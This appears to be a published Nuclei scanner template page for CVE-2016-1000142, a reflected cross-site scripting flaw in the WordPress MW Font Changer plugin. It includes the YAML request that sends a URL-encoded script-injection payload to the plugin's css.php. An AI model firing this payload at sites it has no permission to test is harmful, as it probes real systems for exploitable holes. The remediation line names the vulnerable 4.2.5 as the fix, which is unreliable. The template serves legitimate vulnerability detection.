WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting

ID: CVE-2016-1000142

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan,parsi-font_project

Description

WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2016-1000142

info:
  name: WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Allows remote attackers to execute arbitrary script or HTML code in the context of the affected site, potentially leading to session hijacking, defacement, or data theft.
  remediation: |
    Update to the latest version of the WordPress MW Font Changer plugin (4.2.5) or remove the plugin if it is not necessary.
  reference:
    - https://wpscan.com/vulnerability/4ff5d65a-ba61-439d-ab7f-745a0648fccc
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=435
    - https://wordpress.org/plugins/parsi-font
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000142
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000142
    cwe-id: CWE-79
    epss-score: 0.00103
    epss-percentile: 0.41915
    cpe: cpe:2.3:a:parsi-font_project:parsi-font:4.2.5:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "parsi-font_project"
    product: "parsi-font"
    framework: wordpress
  tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan,parsi-font_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/parsi-font/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP-Parsi Admin Font Editor'
          - 'MW Font Changer'
        condition: or

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a004630440220059ba4ac150d0fa20e1e6189ac97619c7648c6918d32bafab9d567d1db48514702202c4665095197fd618503c767e2492a981a09bf94b4442d2f6f63b3617a728c63:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000142.yaml"

View on Github